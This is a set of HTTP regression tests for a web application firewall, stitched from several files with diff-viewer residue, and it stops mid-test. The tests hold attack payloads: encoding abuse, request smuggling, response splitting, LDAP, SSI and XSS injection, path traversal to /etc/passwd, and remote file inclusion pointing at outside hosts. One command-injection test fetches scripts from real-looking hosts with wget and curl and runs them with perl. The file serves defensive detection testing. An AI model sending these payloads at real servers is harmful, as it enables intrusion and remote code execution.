Proxy-Connection: keep-alive
%test Multiple URL Encoding Detected (950109)
#####################################################
%output 950109
%event 950109
%var encoded_arg=%25%37%33%25%36%46%25%36%44%25%36%35%25%37%34%25%36%35%25%37%38%25%37%34%25%35%46%25%33%31%25%33%32%25%33%33%25%33%34
#%var encoded_arg=%7%6F%6D%65%74%65%78%74%5F%31%32%33%
%request
GET /?parm=$encoded_arg HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test URL Encoding Abuse Attack Attempt (950108)
#####################################################
%output 950108
%event 950108
%var encoded_arg=%1G
%var encoded_arg=%7%6F%6D%65%74%65%78%74%5F%31%32%33%
%request
POST / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: $CONTENT_LENGTH
param=$encoded_arg
%test URL Encoding Abuse Attack Attempt/XML (950108)
#####################################################
%output 950108
%request
POST / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: text/xml
Content-Length: $CONTENT_LENGTH
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<SOAP-ENV:Body>
<xkms:StatusRequest xmlns:xkms="http://www.w3.org/2002/03/xkms#" Id="_6ee48478-fdd6-4d7d-b1bf-e7b4c3254659" ResponseId="_c1c36b3f-f962-4aea-bfbd-07ed58468c9b" Service="http://www.soapclient.com/xml/xkms2">
<xkms:ResponseMechanism>http://www.w3.org/2002/03/xkms#Pending</xkms:ResponseMechanism>
<xkms:RespondWith>%1Gwww.attack.org</xkms:RespondWith>
</xkms:StatusRequest>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
%test UTF8 Encoding Abuse Attack Attempt (950801)
#####################################################
%output 950801
%var arg=%c0%af
%var arg=%c0
%var arg=%F5%80%BF%BF
%request
GET /?param=$arg HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Unicode Full/Half Width Abuse Attack Attempt (950116)
#####################################################
%output 950116
%request
GET /?param=foo%uFF01 HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Proxy access attempt (960014)
#####################################################
%output 960014
%request
GET http://www.some_remote_site.com/ HTTP/1.0
Host: www.some_remote_site.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Invalid character in request (960901)
#####################################################
%output 960901
%event 960901
%request
GET /?param=foo%00 HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%endtest

View File

@@ -0,0 +1,126 @@
%timeout 10
# FILE 21 - protocol anomalies
%test Request Missing a Host Header (960008)
#####################################################
%output 960008
%request
GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Empty Host Header (960007)
#####################################################
%output 960007
%request
GET / HTTP/1.0
Host:
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Request Missing an Accept Header (960015)
#####################################################
%output 960015
%request
GET / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Request Has an Empty Accept Header (960021)
#####################################################
%output 960021
%request
GET / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept:
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Request Missing a User Agent Header (960009)
#####################################################
%output 960009
%request
GET / HTTP/1.0
Host: $hostname
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Request Has an Empty User Agent Header (960006)
#####################################################
%output 960006
%request
GET / HTTP/1.0
Host: $hostname
User-Agent:
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Request Containing Content, but Missing Content-Type header (960904)
#####################################################
%output 960904
%request
POST / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Length: 5
foo=1
%test Host header is a numeric IP address (960017)
#####################################################
%output 960017
%request
GET / HTTP/1.0
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%endtest

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,119 @@
%timeout 10
# FILE 30 - HTTP Policy
%test Method is not allowed by policy (960032)
#####################################################
%output 960032
%var request_method=DELETE
%var request_method=FOO
%var request_method=SUBSCRIBE
%request
$request_method / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Request content type is not allowed by policy (960010)
#####################################################
%output 960010
%var type=multipart/;
%var type=multipart/foo;
%var type=application/foo;
%request
POST / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: $type boundary=0000
Content-Length: $CONTENT_LENGTH
--0000
Content-Disposition: form-data; name="name"
John Smith
--0000
Content-Disposition: form-data; name="email"
john.smith@example.com
--0000
Content-Disposition: form-data; name="image"; filename="image.jpg"
Content-Type: image/jpeg
BINARYDATA
--0000--
%test HTTP protocol version is not allowed by policy (960034)
#####################################################
%output 960034
%var http=HTTP/3.0
%var http=HTTP/0.8
%var http=JUNK/1.0
%request
GET / $http
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test URL file extension is restricted by policy (960035)
#####################################################
%output 960035
%var ext=.bak
%var ext=.db
%var ext=.old
%request
GET /foo$ext HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test HTTP header is restricted by policy (960038)
#####################################################
%output 960038
%var restricted_header=Proxy-Connection: keep-alive
%var restricted_header=Translate: f
%var restricted_header=Lock-Token: <opaquelocktoken:a515cfa4-5da4-22e1-f5bf-00a0451e6bf7>
%request
GET / HTTP/1.1
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
$restricted_header
Keep-Alive: 300
Proxy-Connection: keep-alive
%endtest

View File

@@ -0,0 +1,82 @@
%timeout 10
# FILE 35 - HTTP Bad Robots
%test Request Indicates a Security Scanner Scanned the Site (990002)
#####################################################
%output 990002
%var ua=Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij
%var ua=Arachni/0.2.1
%var ua=w3af.sourceforge.net
%request
GET / HTTP/1.0
Host: $hostname
User-Agent: $ua
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Request Indicates a Security Scanner Scanned the Site (990901)
#####################################################
%output 990901
%var header=Acunetix-Product: WVS/5.0 (Acunetix Web Vulnerability Scanner - EVALUATION)
%request
GET / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
$header
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Request Indicates a Security Scanner Scanned the Site (990902)
#####################################################
%output 990902
%var file=/nessustest
%request
GET $file HTTP/1.0
Host: $hostname
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
$header
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Rogue web site crawler (990012)
#####################################################
%output 990012
%var ua=DataCha0s/2.0
%var ua=Morfeus Fucking Scanner
%var ua=VoidEYE
%request
GET / HTTP/1.0
Host: $hostname
User-Agent: $ua
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%endtest

View File

@@ -0,0 +1,393 @@
%timeout 6
%test System Command Injection (950907)
###################################
%output 950907
%var command=system('echo%20cd%20/tmp;wget%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;curl%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;lyxn%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf *.txt');
%var command=http://ricky.ilmerlodellarocca.com/upload.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/appa.jpg;%20appa.jpg;perl%20appa.jpg;rm%20-rf%20appa.jpg;wget%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;curl%20-O%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;lwp-download%20http://shinnongclinic.com/kor_board/icon/member_image_box/1/ca.txt%20ca.php;mv%20ca.php%20ca.php;chmod%20755%20ca.php
%request
GET /?foo=$command HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Injection of Undocumented ColdFusion Tags (950008)
###################################
%output 950008
%var cf_command=cfusion_decrypt(string%2ckey)
%var cf_command=%3CCFINTERNALDEBUG%20ACTION%3D%22pcode%22%20OUTVAR%3D%22r_var%22%20TEMPLATEPATH%3D%22%23template%23%22%3E
%request
GET /?foo=$cf_command HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test LDAP Injection Attack (950010)
###################################
%output 950010
%var ldap_command=jsmith)(|(objectclass=*)
%var ldap_command=joe)(|(password=*
%var ldap_command=(&(objectClass=*)(objectClass=resources))
%request
GET /?foo=$ldap_command HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test SSI Injection Attack (950011)
###################################
%output 950011
%var ssi_command=%3C!--%23exec%20cmd%3D%22ls%22%20--%3E
%var ssi_command=%3C!--%23include%20virtual%3D%22%2Fetc%2Fpasswd%22%20--%3E
%request
GET /?foo=$ssi_command HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Universal PDF XSS URL Detected (950018)
###################################
%output 950018
%var updf=http%3A%2F%2Fwww.example.com%2Ffile.pdf%23a%3Djavascript%3Aalert('Alert')
%request
GET /?foo=$updf HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Email Injection Attack (950019)
#####################################################
%output 950019
%request
POST / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: $CONTENT_LENGTH
body=email@anonymous.xxx%0ATo:email1@who.xxx
%test HTTP Request Smuggling Attack (950012)
###################################
%output 950012
%request
GET / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Transfer-Encoding: utf-8
Transfer-Encoding: utf-8
Keep-Alive: 300
Proxy-Connection: keep-alive
%test HTTP Request Smuggling (950012)
###################################
%output 950012
%request
POST / HTTP/1.0
Host: $hostname
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Keep-Alive: 300
Proxy-Connection: keep-alive
Content-Length: 3
Content-Length: 3
abc
%test HTTP response splitting (950910)
###################################
%output 950910
%request
GET /?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Shazam</html> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.mummy.com/index.html
Accept-Language: zh-sg
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: $hostname
Keep-Alive: 300
Proxy-Connection: keep-alive
%test HTTP response splitting (950911)
###################################
%output 950911
%request
GET /?lang=foobar%3Cmeta%20http-equiv%3D%22Refresh%22%20content%3D%220%3B%20url%3Dhttp%3A%2F%2Fwww.hacker.com%2F%22%3E HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.mummy.com/index.html
Accept-Language: zh-sg
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: $hostname
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Remote File Inclusion Attack (950117)
###################################
%output 950117
%request
GET /wp-content/themes/thedawn/lib/scripts/timthumb.php?src=http://66.240.183.75/crash.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.mummy.com/index.html
Accept-Language: zh-sg
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: $hostname
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Remote File Inclusion Attack (950118)
###################################
%output 950118
%var rfi=/plugins/spamx/BaseAdmin.class.php?_CONF[path]=http://www.luomoeillegno.com/extras/idxx.txt??
%var rfi=/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.luomoeillegno.com/extras/idxx.txt
%var rfi=/plugins/spamx/BaseAdmin.class.php?_CONF[path]=http://www.luomoeillegno.com/extras/idxx.txt
%request
GET $rfi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.mummy.com/index.html
Accept-Language: zh-sg
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: $hostname
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Remote File Inclusion Attack (950119)
###################################
%output 950119
%var rfi=/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=http://www.ezonplaza.com/img/idFARIZ.txt?
%var rfi=/bbs//skin/ggambo7002_board/write.php?dir=http://www.solmae.co.kr/upload/bbs/conf2.txt????
%var rfi=/components/com_uhp/uhp_config.php?mos/administrator/c/appserv/appserv/main.php?appserv_root=http://henry14.isfreeweb.com/zboard/id/auto1.txt????
%request
GET $rfi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.mummy.com/index.html
Accept-Language: zh-sg
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: $hostname
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Remote File Inclusion Attack (950120)
###################################
%output 950120
%var rfi=/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=http://www.ezonplaza.com/img/idFARIZ.txt??
%var rfi=/bbs//skin/ggambo7002_board/write.php?dir=http://www.solmae.co.kr/upload/bbs/conf2.txt?
%var rfi=/components/com_uhp/uhp_config.php?mos/administrator/c/appserv/appserv/main.php?appserv_root=http://henry14.isfreeweb.com/zboard/id/auto1.txt???
%request
GET $rfi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.mummy.com/index.html
Accept-Language: zh-sg
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: $hostname
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Session Fixation Attack (950009)
###################################
%output 950009
%request
GET /foo.php?bar=blah<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.mummy.com/index.html
Accept-Language: zh-sg
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: $hostname
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Session Fixation Attack (950000)
###################################
%output 950000
%request
GET /login.php?jsessionid=74B0CB414BD77D17B5680A6386EF1666 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Accept-Language: zh-sg
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: $hostname
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Session Fixation Attack (950003)
###################################
%output 950003
%request
GET /login.php?jsessionid=74B0CB414BD77D17B5680A6386EF1666 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Accept-Language: zh-sg
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: $hostname
Referer: http://forum.antichat.ru/forum127.html
Keep-Alive: 300
Proxy-Connection: keep-alive
%test Remote File Access Attempt (950005)
###################################
%output 950005
%var file=../../../../../boot.ini
%var file=/etc/passwd
%var file=../../../../../../../../../../usr/local/app/apache2/conf/httpd.conf
%request
GET /index.php?file=News&op=$file%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Accept-Language: zh-sg
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: $hostname
Keep-Alive: 300
Proxy-Connection: keep-alive
%test System Command Access (950002)
###################################
%output 950002
%var file=/d/winnt/system32/cmd.exe?/c+dir.
%request
GET /foo.aspx?$file HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Accept-Language: zh-sg
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: $hostname
Keep-Alive: 300
Proxy-Connection: keep-alive
%test System Command Injection (950006)
###################################
%output 950006
